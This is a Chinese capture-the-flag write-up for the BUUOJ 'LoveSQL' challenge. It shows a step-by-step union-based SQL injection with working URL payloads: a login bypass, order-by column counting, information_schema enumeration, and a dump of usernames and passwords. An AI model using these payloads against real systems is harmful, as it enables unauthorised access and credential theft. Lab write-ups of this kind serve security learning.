题目链接:http://8d2d10b1-b8e7-4ce4-a2f2-6b58d8c77ae9.node3.buuoj.cn/

首先,测试发现是单引号的字符型注入
万能密码登录测试
用户名:admin’ or 1=1 #
密码:1

登陆成功后使用联合查询。
注意:输入框的#,直接使用hackbar地址栏,需将#进行URL编码,即替换为%23
一、爆字段
使用order by语句
check.php?username=admin' order by 1 %23&password=1
check.php?username=admin' order by 4 %23&password=1
一直到4时出现报错。

所以有3个字段。
二、查看回显位置
使用union select语句
check.php?username=1' union select 1,2,3%23&password=1

如图,所以回显位是2和3。
三、爆数据库
check.php?username=1' union select 1,database(),version()%23&password=1

爆出数据库名:geek
版本:10.3.18-MariaDB
四、爆数据库的表
check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

数据库表名有:
geekuser
l0ve1ysq1
因为本题题目为LoveSQL,表名应该就是l0ve1ysq1。
五、爆表的列名
check.php?username=1'
union select 1,2,group_concat(column_name)
from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

列名有:id,username,password
六、爆其中的内容,找出flag
check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

往左拉到最后找到flag。

本题结束。
本文详细介绍了如何利用SQL注入漏洞进行一系列攻击,包括探测字段数、确定回显位置、暴露数据库名、表名和列名,以及最终获取敏感信息。通过具体的URL参数变化展示了攻击过程,揭示了数据库为'geek',版本为10.3.18-MariaDB,并找出含有flag的表'l0ve1ysq1'。文章强调了SQL注入的危害,并提醒关注信息安全和数据库防护。
459

被折叠的 条评论
为什么被折叠?



